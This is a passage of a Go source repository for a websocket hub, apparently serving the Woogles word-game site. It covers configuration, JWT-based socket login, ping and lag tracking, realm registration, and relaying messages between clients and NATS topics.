90 | golang.org/x/crypto v0.35.0/go.mod h1:dy7dXNW32cAb/6/PRuTNsix8T+vJAqvuIy5Bli/x0YQ=
91 | golang.org/x/exp v0.0.0-20250218142911-aa4b98e5adaa h1:t2QcU6V556bFjYgu4L6C+6VrCPyJZ+eyRsABUPs1mz4=
92 | golang.org/x/exp v0.0.0-20250218142911-aa4b98e5adaa/go.mod h1:BHOTPb3L19zxehTsLoJXVaTktb06DFgmdW6Wb9s8jqk=
93 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
94 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
95 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
96 | golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc=
97 | golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
98 | golang.org/x/text v0.22.0 h1:bofq7m3/HAFvbF51jz3Q9wLg3jkvSPuiZu/pD1XwgtM=
99 | golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY=
100 | google.golang.org/protobuf v1.36.5 h1:tPhr+woSbjfYvY6/GPufUoYizxw1cF/yFoxJ2fmpwlM=
101 | google.golang.org/protobuf v1.36.5/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE=
102 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
103 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU=
104 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
105 | gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA=
106 | gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
107 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
108 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
109 | lukechampine.com/frand v1.5.1 h1:fg0eRtdmGFIxhP5zQJzM1lFDbD6CUfu/f+7WgAZd5/w=
110 | lukechampine.com/frand v1.5.1/go.mod h1:4VstaWc2plN4Mjr10chUD46RAVGWhpkZ5Nja8+Azp0Q=
111 |
--------------------------------------------------------------------------------
/pkg/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "github.com/namsral/flag"
5 | )
6 |
7 | type Config struct {
8 | Debug bool
9 | WebsocketAddress string
10 | NatsURL string
11 | SecretKey string
12 | }
13 |
14 | // Load loads the configs from the given arguments
15 | func (c *Config) Load(args []string) error {
16 | fs := flag.NewFlagSet("liwords-socket", flag.ContinueOnError)
17 |
18 | fs.StringVar(&c.WebsocketAddress, "ws-address", ":8087", "WS server listens on this address")
19 | fs.BoolVar(&c.Debug, "debug", false, "debug logging on")
20 | fs.StringVar(&c.NatsURL, "nats-url", "nats://localhost:4222", "the NATS server URL")
21 | fs.StringVar(&c.SecretKey, "secret-key", "", "secret key must be a random unguessable string")
22 |
23 | err := fs.Parse(args)
24 | return err
25 | }
26 |
--------------------------------------------------------------------------------
/pkg/hub/client.go:
--------------------------------------------------------------------------------
1 | // Package sockets encapsulates all of the Websocket communication.
2 | // It's part of the framework/drivers layer.
3 | package sockets
4 |
5 | import (
6 | "context"
7 | "net/http"
8 | "os"
9 | "strings"
10 | "sync"
11 | "time"
12 |
13 | // "github.com/woogles-io/liwords/pkg/entity"
14 | "github.com/gorilla/websocket"
15 | "github.com/rs/zerolog/log"
16 | "google.golang.org/protobuf/proto"
17 |
18 | "github.com/woogles-io/liwords/pkg/entity"
19 | pb "github.com/woogles-io/liwords/rpc/api/proto/ipc"
20 | )
21 |
22 | var AllowedOrigins = []string{}
23 |
24 | func init() {
25 | allowedOrigins := os.Getenv("ALLOWED_ORIGINS")
26 | if allowedOrigins != "" {
27 | for _, origin := range strings.Split(allowedOrigins, ",") {
28 | origin = strings.TrimSpace(origin)
29 | AllowedOrigins = append(AllowedOrigins, origin)
30 | }
31 | }
32 | log.Info().Interface("AllowedOrigins", AllowedOrigins).Msg("set allowed origins")
33 | }
34 |
35 | const (
36 | // Time allowed to write a message to the peer.
37 | writeWait = 10 * time.Second
38 |
39 | // Time allowed to read the next pong message from the peer.
40 | pongWait = 15 * time.Second
41 |
42 | // Send pings to peer with this period. Must be less than pongWait.
43 | pingPeriod = 5 * time.Second
44 |
45 | // Maximum message size allowed from peer.
46 | maxMessageSize = 512
47 | )
48 |
49 | var upgrader = websocket.Upgrader{
50 | ReadBufferSize: 1024,
51 | WriteBufferSize: 1024,
52 | CheckOrigin: func(r *http.Request) bool {
53 | if len(AllowedOrigins) == 0 {
54 | return true
55 | }
56 | originHeader := r.Header.Get("Origin")
57 | // https://woogles.io or https://www.woogles.io on production, for example.
58 | for _, origin := range AllowedOrigins {
59 | if originHeader == origin {
60 | return true
61 | }
62 | }
63 | return false
64 | },
65 | }
66 |
67 | // Client is a middleman between the websocket connection and the hub.
68 | type Client struct {
69 | sync.RWMutex
70 | hub *Hub
71 |
72 | // The websocket connection.
73 | conn *websocket.Conn
74 |
75 | // Buffered channel of outbound messages.
76 | send chan []byte
77 |
78 | authenticated bool
79 | username string
80 | // userID is the user database ID, and it should contain solely of base57
81 | // chars, so we should use it as much as possible.
82 | userID string
83 | // A realm is an abstract thing that is akin to a "chatroom". Some example realms:
84 | // - lobby
85 | // - game-gameid -- A realm just for the two players of a game.
86 | // - gametv-gameid -- A realm for observers of a game.
87 | // - tournament-tourneyid -- A realm for a tourney "room", with its own chat room and standings
88 | realms []Realm
89 | // tempRealms is a temporary holding variable for the user realms.
90 | tempRealms []string
91 | connID string
92 | connToken string
93 |
94 | forwardedFor string
95 | pongCount int
96 | lastPingSent time.Time
97 | // The round-trip lag; it is a sort of average.
98 | avglag time.Duration
99 | }
100 |
101 | func (c *Client) sendError(err error) {
102 | evt := entity.WrapEvent(&pb.ErrorMessage{Message: err.Error()}, pb.MessageType_ERROR_MESSAGE)
103 | bts, err := evt.Serialize()
104 | if err != nil {
105 | // This really shouldn't happen.
106 | log.Err(err).Msg("error serializing error, lol")
107 | return
108 | }
109 | c.send <- bts
110 | }
111 |
112 | func (c *Client) sendLatency() {
113 | evt := entity.WrapEvent(
114 | &pb.LagMeasurement{LagMs: int32(c.avglag / time.Millisecond)},
115 | pb.MessageType_LAG_MEASUREMENT)
116 | bts, err := evt.Serialize()
117 | if err != nil {
118 | // This really shouldn't happen.
119 | log.Err(err).Msg("error serializing lag...")
120 | return
121 | }
122 | c.send <- bts
123 | }
124 |
125 | // readPump pumps messages from the websocket connection to the hub.
126 | //
127 | // The application runs readPump in a per-connection goroutine. The application
128 | // ensures that there is at most one reader on a connection by executing all
129 | // reads from this goroutine.
130 | func (c *Client) readPump() {
131 | defer func() {
132 | c.hub.unregister <- c
133 | c.conn.Close()
134 | }()
135 | c.conn.SetReadLimit(maxMessageSize)
136 | c.conn.SetReadDeadline(time.Now().Add(pongWait))
137 | c.conn.SetPongHandler(func(string) error {
138 | received := time.Now()
139 | c.RLock()
140 | curlag := received.Sub(c.lastPingSent)
141 | c.RUnlock()
142 | c.pongCount++
143 | var mix float64
144 | // Decaying average after the first four pongs. Thx lichess.
145 | if c.pongCount > 4 {
146 | mix = 0.1
147 | } else {
148 | mix = 1 / float64(c.pongCount)
149 | }
150 | c.avglag += time.Duration(mix * (float64(curlag) - float64(c.avglag)))
151 |
152 | c.conn.SetReadDeadline(time.Now().Add(pongWait))
153 | if c.pongCount%10 == 2 {
154 | log.Info().Float64("curlag-ms", float64(curlag)/float64(time.Millisecond)).
155 | Float64("avglag-ms", float64(c.avglag)/float64(time.Millisecond)).
156 | Str("username", c.username).
157 | Int("pong-count", c.pongCount).
158 | Str("ips", c.forwardedFor).
159 | Str("connID", c.connID).
160 | Msg("got-pong")
161 |
162 | // Also, send a message via NATS to renew presence channel expirations.
163 | // Let's do this every 10 pings instead of every ping. We don't need
164 | // to stress Redis that often.
165 | req := &pb.Pong{
166 | Ips: c.forwardedFor,
167 | }
168 |
169 | data, err := proto.Marshal(req)
170 | if err != nil {
171 | return err
172 | }
173 | c.hub.pubsub.natsconn.Publish(extendTopic(c, "ipc.pb.pongReceived"), data)
174 | } //else {
175 | // This might be too noisy even for debug but let's enable this
176 | // for a bit.
177 | //log.Debug().Str("username", c.username).Msg("single-pong")
178 | //}
179 | c.sendLatency()
180 | return nil
181 | })
182 | for {
183 | // _, message, err
184 | _, message, err := c.conn.ReadMessage()
185 | if err != nil {
186 | if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
187 | log.Err(err).Msg("unexpected-close")
188 | }
189 | // Probably a regular disconnect:
190 | log.Debug().Str("username", c.username).Err(err).Msg("other-error-breaking-out")
191 | break
192 | }
193 |
194 | // Here is where we parse the message and send something off to the hub
195 | // potentially.
196 |
197 | err = c.hub.parseAndExecuteMessage(context.Background(), message, c)
198 | if err != nil {
199 | log.Err(err).Str("username", c.username).Msg("parse-and-execute-message")
200 | c.sendError(err)
201 | continue
202 | }
203 |
204 | // message = bytes.TrimSpace(bytes.Replace(message, newline, space, -1))
205 | // c.hub.broadcast <- message
206 | }
207 | }
208 |
209 | // writePump pumps messages from the hub to the websocket connection.
210 | //
211 | // A goroutine running writePump is started for each connection. The
212 | // application ensures that there is at most one writer to a connection by
213 | // executing all writes from this goroutine.
214 | func (c *Client) writePump() {
215 | ticker := time.NewTicker(pingPeriod)
216 | defer func() {
217 | ticker.Stop()
218 | c.conn.Close()
219 | }()
220 | for {
221 | select {
222 | case message, ok := <-c.send:
223 | c.conn.SetWriteDeadline(time.Now().Add(writeWait))
224 | if !ok {
225 | // The hub closed the channel.
226 | c.conn.WriteMessage(websocket.CloseMessage, []byte{})
227 | log.Info().Msg("hub closed channel")
228 | // XXX: should we remove the connection here??
229 | // maybe not since the connection close happens in the defer.
230 | return
231 | }
232 |
233 | w, err := c.conn.NextWriter(websocket.BinaryMessage)
234 | if err != nil {
235 | return
236 | }
237 | w.Write(message)
238 |
239 | // Add queued messages to the current websocket message.
240 | n := len(c.send)
241 | for i := 0; i < n; i++ {
242 | w.Write(<-c.send)
243 | }
244 |
245 | if err := w.Close(); err != nil {
246 | return
247 | }
248 | case <-ticker.C:
249 | c.conn.SetWriteDeadline(time.Now().Add(writeWait))
250 | if err := c.conn.WriteMessage(websocket.PingMessage, nil); err != nil {
251 | return
252 | }
253 | c.Lock()
254 | c.lastPingSent = time.Now()
255 | c.Unlock()
256 | }
257 | }
258 | }
259 |
260 | // close connection with an error string.
261 | func closeMessage(ws *websocket.Conn, errStr string) {
262 | // close code 1008 is used for a generic "policy violation" message.
263 | msg := websocket.FormatCloseMessage(websocket.ClosePolicyViolation, errStr)
264 | log.Debug().Str("closemsg", string(msg)).Msg("writing close message")
265 | err := ws.WriteMessage(websocket.CloseMessage, msg)
266 | if err != nil {
267 | log.Err(err).Msg("writing close message back to user")
268 | }
269 | ws.Close()
270 | }
271 |
272 | // ServeWS handles websocket requests from the peer. This runs in its own
273 | // goroutine.
274 | func ServeWS(hub *Hub, w http.ResponseWriter, r *http.Request) {
275 | fwd := r.Header.Values("X-Forwarded-For")
276 | tokens, ok := r.URL.Query()["token"]
277 | log.Debug().Interface("ips", fwd).Msg("servews-new-conn")
278 | if !ok || len(tokens[0]) < 1 {
279 | log.Error().Msg("token is missing")
280 | return
281 | }
282 | paths, ok := r.URL.Query()["path"]
283 | if !ok || len(paths[0]) < 1 {
284 | log.Error().Msg("path is missing")
285 | return
286 | }
287 |
288 | connIDs, ok := r.URL.Query()["cid"]
289 | if !ok || len(connIDs[0]) < 1 {
290 | log.Error().Msg("connID is missing")
291 | return
292 | }
293 |
294 | token := tokens[0]
295 | path := paths[0]
296 | connID := connIDs[0]
297 |
298 | conn, err := upgrader.Upgrade(w, r, nil)
299 | if err != nil {
300 | log.Err(err).Msg("upgrading socket")
301 | return
302 | }
303 |
304 | client := &Client{
305 | hub: hub,
306 | conn: conn,
307 | send: make(chan []byte, 256),
308 | connID: connID,
309 | connToken: token,
310 | forwardedFor: strings.Join(fwd, ","),
311 | }
312 |
313 | // First, verify connection token
314 | err = hub.socketLogin(client)
315 | if err != nil {
316 | log.Err(err).Msg("socket-login-error")
317 | client.conn.Close()
318 | return
319 | }
320 |
321 | // Then try to register the realm with the connection path that was
322 | // passed in.
323 | err = registerRealm(client, path, hub)
324 | if err != nil {
325 | log.Err(err).Msg("register-realm-error")
326 | client.conn.Close()
327 | }
328 |
329 | client.hub.register <- client
330 |
331 | // Allow collection of memory referenced by the caller by doing all work in
332 | // new goroutines.
333 | go client.writePump()
334 | go client.readPump()
335 | log.Debug().Str("connID", connID).Msg("leaving-servews")
336 | }
337 |
--------------------------------------------------------------------------------
/pkg/hub/hub.go:
--------------------------------------------------------------------------------
1 | package sockets
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 | "os"
7 | "strings"
8 | "sync"
9 | "time"
10 |
11 | "github.com/golang-jwt/jwt/v5"
12 | "github.com/rs/zerolog/log"
13 | "google.golang.org/protobuf/proto"
14 |
15 | pb "github.com/woogles-io/liwords/rpc/api/proto/ipc"
16 |
17 | "github.com/secondpiracy/liwords-socket/pkg/config"
18 | )
19 |
20 | // A Realm is basically a set of clients. It can be thought of as a game room,
21 | // or perhaps a lobby.
22 | type Realm string
23 |
24 | const NullRealm Realm = ""
25 | const LobbyRealm Realm = "lobby"
26 |
27 | const ConnPollPeriod = 60 * time.Second
28 |
29 | // A RealmMessage is a message that should be sent to a socket Realm.
30 | type RealmMessage struct {
31 | realm Realm
32 | msg []byte
33 | }
34 |
35 | // A UserMessage is a message that should be sent to a user (across all
36 | // of the sockets that they are connected to, unless the channel says otherwise).
37 | type UserMessage struct {
38 | userID string
39 | channel string
40 | msg []byte
41 | }
42 |
43 | // A ConnMessage is a message that just gets sent to a single socket connection.
44 | type ConnMessage struct {
45 | connID string
46 | msg []byte
47 | }
48 |
49 | // Hub maintains the set of active clients and broadcasts messages to the
50 | // clients.
51 | type Hub struct {
52 | // Registered clients.
53 | clients map[*Client][]Realm
54 | clientsByUserID map[string]map[*Client]bool
55 | clientsByConnID map[string]*Client
56 | // Inbound messages from the clients.
57 | // broadcast chan []byte
58 |
59 | // Register requests from the clients.
60 | register chan *Client
61 |
62 | // Unregister requests from clients.
63 | unregister chan *Client
64 |
65 | pubsub *PubSub
66 |
67 | realmMutex sync.Mutex
68 | // Each realm has a list of clients in it.
69 | realms map[Realm]map[*Client]bool
70 |
71 | broadcastRealm chan RealmMessage
72 | broadcastUser chan UserMessage
73 | sendConnMessage chan ConnMessage
74 | }
75 |
76 | func NewHub(cfg *config.Config) (*Hub, error) {
77 | pubsub, err := newPubSub(cfg.NatsURL)
78 | if err != nil {
79 | return nil, err
80 | }
81 |
82 | return &Hub{
83 | // broadcast: make(chan []byte),
84 | broadcastRealm: make(chan RealmMessage),
85 | broadcastUser: make(chan UserMessage),
86 | sendConnMessage: make(chan ConnMessage),
87 | register: make(chan *Client),
88 | unregister: make(chan *Client),
89 | clients: make(map[*Client][]Realm),
90 | clientsByUserID: make(map[string]map[*Client]bool),
91 | clientsByConnID: make(map[string]*Client),
92 | realms: make(map[Realm]map[*Client]bool),
93 | pubsub: pubsub,
94 | }, nil
95 | }
96 |
97 | func (h *Hub) addClient(client *Client) error {
98 |
99 | // Add client to appropriate maps
100 | byUser := h.clientsByUserID[client.userID]
101 | if byUser == nil {
102 | h.clientsByUserID[client.userID] = make(map[*Client]bool)
103 | }
104 | // Add the new user ID to the map.
105 | h.clientsByUserID[client.userID][client] = true
106 | h.clientsByConnID[client.connID] = client
107 | // add to the realm map.
108 | h.addToRealm(client.tempRealms, client)
109 | client.tempRealms = []string{}
110 |
111 | // Meow, depending on the realm, request that the API publish
112 | // initial information pertaining to this realm. For example,
113 | // lobby visitors will want to see a list of sought games,
114 | // or newcomers to a game realm will want to see the history
115 | // of the game so far.
116 | return h.sendRealmInitInfo(client)
117 | // The API will publish the initial realm information to this user's channel.
118 | // (user.userID - see pubsub.go)
119 |
120 | }
121 |
122 | func (h *Hub) removeClient(c *Client) error {
123 | // no need to protect with mutex, only called from
124 | // single-threaded Run
125 | log.Debug().Str("client", c.username).Str("connid", c.connID).Str("userid", c.userID).Msg("removing client")
126 | close(c.send)
127 |
128 | realms := h.clients[c]
129 |
130 | for _, realm := range realms {
131 | delete(h.realms[realm], c)
132 | log.Debug().Msgf("deleted client %v from realm %v. New length %v", c.connID, realm, len(
133 | h.realms[realm]))
134 |
135 | if len(h.realms[realm]) == 0 {
136 | delete(h.realms, realm)
137 | }
138 | }
139 |
140 | delete(h.clients, c)
141 | log.Debug().Msgf("deleted client %v from clients. New length %v", c.connID, len(
142 | h.clients))
143 | delete(h.clientsByConnID, c.connID)
144 |
145 | // xxx: trigger leaveSite even if this isn't the last tab. We would
146 | // pass in a conn ID of some sort. We would associate outgoing
147 | // seek / match requests with a conn ID.
148 |
149 | h.pubsub.natsconn.Publish(extendTopic(c, "ipc.pb.leaveTab"), []byte{})
150 |
151 | if (len(h.clientsByUserID[c.userID])) == 1 {
152 | delete(h.clientsByUserID, c.userID)
153 | log.Debug().Msgf("deleted client from clientsbyuserid. New length %v", len(
154 | h.clientsByUserID))
155 |
156 | // Tell the backend that this user has left the site. The backend
157 | // can then do things (cancel seek requests, inform players their
158 | // opponent has left, etc).
159 | h.pubsub.natsconn.Publish(extendTopic(c, "ipc.pb.leaveSite"), []byte{})
160 | return nil
161 | }
162 | // Otherwise, delete just the right socket (this one: c)
163 | log.Debug().Interface("userid", c.userID).Int("numconn", len(h.clientsByUserID[c.userID])).
164 | Msg("non-one-num-conns")
165 | delete(h.clientsByUserID[c.userID], c)
166 |
167 | return nil
168 | }
169 |
170 | func (h *Hub) sendToRealm(realm Realm, msg []byte) error {
171 | h.broadcastRealm <- RealmMessage{realm: realm, msg: msg}
172 | return nil
173 | }
174 |
175 | func (h *Hub) sendToConnID(connID string, msg []byte) error {
176 | h.sendConnMessage <- ConnMessage{connID: connID, msg: msg}
177 | return nil
178 | }
179 |
180 | func (h *Hub) sendToUser(userID string, msg []byte) error {
181 | h.broadcastUser <- UserMessage{userID: userID, msg: msg}
182 | return nil
183 | }
184 |
185 | func (h *Hub) sendToUserChannel(userID string, msg []byte, channel string) error {
186 | h.broadcastUser <- UserMessage{userID: userID, msg: msg, channel: channel}
187 | return nil
188 | }
189 |
190 | func realmToChannel(realm Realm) string {
191 | return strings.ReplaceAll(string(realm), "-", ".")
192 | }
193 |
194 | func channelToRealm(channel string) Realm {
195 | return Realm(strings.ReplaceAll(channel, ".", "-"))
196 | }
197 |
198 | func (h *Hub) Run() {
199 | go h.PubsubProcess()
200 | ticker := time.NewTicker(ConnPollPeriod)
201 | defer func() {
202 | ticker.Stop()
203 | }()
204 |
205 | for {
206 | select {
207 | case client := <-h.register:
208 | err := h.addClient(client)
209 | if err != nil {
210 | log.Err(err).Msg("error-adding-client")
211 | }
212 |
213 | case client := <-h.unregister:
214 | if _, ok := h.clients[client]; ok {
215 | err := h.removeClient(client)
216 | if err != nil {
217 | log.Err(err).Msg("error-removing-client")
218 | }
219 | log.Info().Str("username", client.username).Msg("unregistered-client")
220 | } else {
221 | log.Error().Msg("unregistered-but-not-in-map")
222 | }
223 |
224 | case message := <-h.broadcastRealm:
225 | // {"level":"debug","realm":"lobby","clients":2,"time":"2020-08-22T20:40:40Z","message":"sending broadcast message to realm"}
226 | log.Debug().Str("realm", string(message.realm)).
227 | Int("clients", len(h.realms[message.realm])).
228 | Msg("sending broadcast message to realm")
229 | for client := range h.realms[message.realm] {
230 | select {
231 | // XXX: got a panic: send on closed channel from this line:
232 | // I think this is because the client wasn't done registering
233 | // (register-realm-path) before it was disconnected abnormally.
234 | case client.send <- message.msg:
235 | default:
236 | log.Debug().Str("username", client.username).Msg("in broadcastRealm, removeClient")
237 | h.removeClient(client)
238 | }
239 | }
240 |
241 | case message := <-h.broadcastUser:
242 | log.Debug().Str("user", string(message.userID)).
243 | Msg("sending to all user sockets")
244 | // Send the message to every socket belonging to this user.
245 | for client := range h.clientsByUserID[message.userID] {
246 | canSend := true
247 | if message.channel != "" {
248 | canSend = false
249 | // Determine if we can send this message to this client.
250 | for _, realm := range client.realms {
251 | if strings.HasPrefix(message.channel, realmToChannel(realm)) {
252 | // if the message has a channel attached to it, it needs to be
253 | // a prefix of the realm in order to be delivered.
254 | canSend = true
255 | break
256 | }
257 | }
258 | }
259 | if !canSend {
260 | continue
261 | }
262 | select {
263 | case client.send <- message.msg:
264 | default:
265 | log.Debug().Str("username", client.username).Msg("in broadcastUser, removeClient")
266 | h.removeClient(client)
267 | }
268 | }
269 |
270 | case message := <-h.sendConnMessage:
271 | c, ok := h.clientsByConnID[message.connID]
272 | if !ok {
273 | // This client does not exist in this node.
274 | log.Debug().Str("connID", message.connID).Msg("connID-not-found")
275 | } else {
276 | select {
277 | case c.send <- message.msg:
278 | default:
279 | log.Debug().Str("connID", message.connID).Msg("in sendToConnID, removeClient")
280 | h.removeClient(c)
281 | }
282 | }
283 |
284 | case <-ticker.C:
285 | log.Info().Int("num-conns", len(h.clients)).
286 | Int("num-users", len(h.clientsByUserID)).
287 | Int("num-realms", len(h.realms)).Msg("conn-stats")
288 | }
289 | }
290 | }
291 |
292 | func (h *Hub) addToRealm(realms []string, client *Client) {
293 | // a client can be in a set of realms, but these realms are basically
294 | // immutable (for now). If the client wants to change realms, we have
295 | // to create new client connection.
296 |
297 | h.clients[client] = []Realm{}
298 | for _, realm := range realms {
299 | realm := Realm(realm)
300 | if h.realms[realm] == nil {
301 | h.realms[realm] = make(map[*Client]bool)
302 | }
303 | client.realms = append(client.realms, realm)
304 | h.realms[realm][client] = true
305 | h.clients[client] = append(h.clients[client], realm)
306 | }
307 |
308 | }
309 |
310 | func (h *Hub) socketLogin(c *Client) error {
311 |
312 | token, err := jwt.Parse(c.connToken, func(token *jwt.Token) (interface{}, error) {
313 | // Don't forget to validate the alg is what you expect:
314 | if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
315 | return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"])
316 | }
317 |
318 | // hmacSampleSecret is a []byte containing your secret, e.g. []byte("my_secret_key")
319 | return []byte(os.Getenv("SECRET_KEY")), nil
320 | })
321 | if claims, ok := token.Claims.(jwt.MapClaims); ok && token.Valid {
322 |
323 | c.authenticated, ok = claims["a"].(bool)
324 | if !ok {
325 | return errors.New("malformed token - a")
326 | }
327 | c.username, ok = claims["unn"].(string)
328 | if !ok {
329 | return errors.New("malformed token - unn")
330 | }
331 |
332 | c.userID = claims["uid"].(string)
333 | log.Debug().Str("username", c.username).Str("userID", c.userID).
334 | Bool("auth", c.authenticated).Msg("socket connection")
335 | }
336 | if err != nil {
337 | log.Err(err).Str("token", c.connToken).Msg("socket-login-failure")
338 | }
339 | if !token.Valid {
340 | return errors.New("invalid token")
341 | }
342 | return err
343 | }
344 |
345 | // Note: This is a BLOCKING call -- see natsconn.Request below.
346 | func registerRealm(c *Client, path string, h *Hub) error {
347 | // There are a variety of possible realms that a person joining a game
348 | // can be in. We should not trust the user to send the right realm
349 | // (for example they can send a TV mode realm if they're a player
350 | // in the game or vice versa). The backend should determine the right realm
351 | // and assign it accordingly.
352 | log.Debug().Str("connid", c.connID).Str("path", path).Msg("register-realm-path")
353 | var realms []string
354 |
355 | if path == "/" {
356 | // This is the lobby; no need to request a realm.
357 | realms = []string{string(LobbyRealm), "chat-" + string(LobbyRealm)}
358 | } else {
359 | // First, create a request and send to the IPC api:
360 | rrr := &pb.RegisterRealmRequest{}
361 | rrr.Path = path
362 | rrr.UserId = c.userID
363 | data, err := proto.Marshal(rrr)
364 | if err != nil {
365 | return err
366 | }
367 | resp, err := h.pubsub.natsconn.Request("ipc.request.registerRealm", data, ipcTimeout)
368 | if err != nil {
369 | log.Err(err).Msg("timeout registering realm")
370 | return err
371 | }
372 | log.Debug().Msg("got response from registerRealmReq")
373 | // The response contains the correct realm for the user.
374 | rrResp := &pb.RegisterRealmResponse{}
375 | err = proto.Unmarshal(resp.Data, rrResp)
376 | if err != nil {
377 | return err
378 | }
379 | realms = rrResp.Realms
380 | }
381 | log.Debug().Interface("realms", realms).Msg("setting-realms")
382 |
383 | c.tempRealms = realms
384 | return nil
385 | }
386 |
387 | func (h *Hub) sendRealmInitInfo(c *Client) error {
388 |
389 | realms := []string{}
390 | for _, r := range c.realms {
391 | if r != "" {
392 | realms = append(realms, string(r))
393 | }
394 | }
395 |
396 | req := &pb.InitRealmInfo{
397 | Realms: realms,
398 | UserId: c.userID,
399 | }
400 |
401 | data, err := proto.Marshal(req)
402 | if err != nil {
403 | return err
404 | }
405 |
406 | log.Debug().Interface("initRealmInfo", req).Msg("req-init-realm-info")
407 |
408 | return h.pubsub.natsconn.Publish(extendTopic(c, "ipc.pb.initRealmInfo"), data)
409 |
410 | }
411 |
--------------------------------------------------------------------------------
/pkg/hub/parser.go:
--------------------------------------------------------------------------------
1 | package sockets
2 |
3 | import (
4 | "context"
5 | "strconv"
6 | "time"
7 |
8 | "github.com/rs/zerolog/log"
9 | )
10 |
11 | const (
12 | ipcTimeout = 10 * time.Second
13 | )
14 |
15 | func extendTopic(c *Client, topic string) string {
16 | // The publish topic should encode the user ID and the login status.
17 | // This is so we don't have to wastefully unmarshal and remarshal here,
18 | // and also because NATS plays nicely with hierarchical subject names.
19 | first := ""
20 | second := ""
21 | if !c.authenticated {
22 | first = "anon"
23 | } else {
24 | first = "auth"
25 | }
26 | second = c.userID
27 |
28 | return topic + "." + first + "." + second + "." + c.connID
29 | }
30 |
31 | func (h *Hub) parseAndExecuteMessage(ctx context.Context, msg []byte, c *Client) error {
32 | // All socket messages are encoded entity.Events.
33 | // (or they better be)
34 |
35 | // The type byte is [2] ([0] and [1] are length of the packet)
36 |
37 | topicName := "ipc.pb." + strconv.Itoa(int(msg[2]))
38 | fullTopic := extendTopic(c, topicName)
39 | log.Debug().Str("fullTopic", fullTopic).Msg("nats-publish")
40 |
41 | return h.pubsub.natsconn.Publish(fullTopic, msg[3:])
42 | }
43 |
--------------------------------------------------------------------------------
/pkg/hub/pubsub.go:
--------------------------------------------------------------------------------
1 | package sockets
2 |
3 | import (
4 | "strings"
5 |
6 | nats "github.com/nats-io/nats.go"
7 | "github.com/rs/zerolog/log"
8 | )
9 |
10 | // PubSub encapsulates the various subscriptions to the different channels.
11 | // The `liwords` package should have a very similar structure.
12 | type PubSub struct {
13 | natsconn *nats.Conn
14 | topics []string
15 | subscriptions []*nats.Subscription
16 | subchans map[string]chan *nats.Msg
17 | }
18 |
19 | func newPubSub(natsURL string) (*PubSub, error) {
20 | natsconn, err := nats.Connect(natsURL)
21 |
22 | if err != nil {
23 | return nil, err
24 | }
25 |
26 | topics := []string{
27 | // lobby messages:
28 | "lobby.>",
29 | // for specific connections
30 | "connid.>",
31 | // user messages
32 | "user.>",
33 | // usertv messages; for when someone is watching a user's games
34 | "usertv.>",
35 | // gametv messages: for observer mode in a single game.
36 | "gametv.>",
37 | // private game messages: only for the players of a game.
38 | "game.>",
39 | // tourneys
40 | "tournament.>",
41 | // chats
42 | "chat.>",
43 | // generic channels
44 | "channel.>",
45 | }
46 | pubSub := &PubSub{
47 | natsconn: natsconn,
48 | topics: topics,
49 | subscriptions: []*nats.Subscription{},
50 | subchans: map[string]chan *nats.Msg{},
51 | }
52 | // Subscribe to the above topics.
53 | for _, topic := range topics {
54 | ch := make(chan *nats.Msg, 512)
55 | sub, err := natsconn.ChanSubscribe(topic, ch)
56 | if err != nil {
57 | return nil, err
58 | }
59 | pubSub.subscriptions = append(pubSub.subscriptions, sub)
60 | pubSub.subchans[topic] = ch
61 |
62 | }
63 | return pubSub, nil
64 | }
65 |
66 | // PubsubProcess processes pubsub messages.
67 | func (h *Hub) PubsubProcess() {
68 | for {
69 | select {
70 | case msg := <-h.pubsub.subchans["lobby.>"]:
71 | // Handle lobby message. If something is published to the lobby,
72 | // let's just send it along to the correct sockets, we should not
73 | // need to parse it.
74 | log.Debug().Str("topic", msg.Subject).Msg("got lobby message, forwarding along")
75 | subtopics := strings.Split(msg.Subject, ".")
76 | if len(subtopics) < 2 {
77 | log.Error().Msgf("subtopics weird %v", msg.Subject)
78 | continue
79 | }
80 | h.sendToRealm(LobbyRealm, msg.Data)
81 |
82 | case msg := <-h.pubsub.subchans["tournament.>"]:
83 | log.Debug().Str("topic", msg.Subject).Int("type", int(msg.Data[2])).Msg("got tournament message, forwarding along")
84 |
85 | subtopics := strings.Split(msg.Subject, ".")
86 | if len(subtopics) < 2 {
87 | log.Error().Msgf("tournament subtopics weird %v", msg.Subject)
88 | continue
89 | }
90 | tournamentID := subtopics[1]
91 | h.sendToRealm(Realm("tournament-"+tournamentID), msg.Data)
92 |
93 | case msg := <-h.pubsub.subchans["user.>"]:
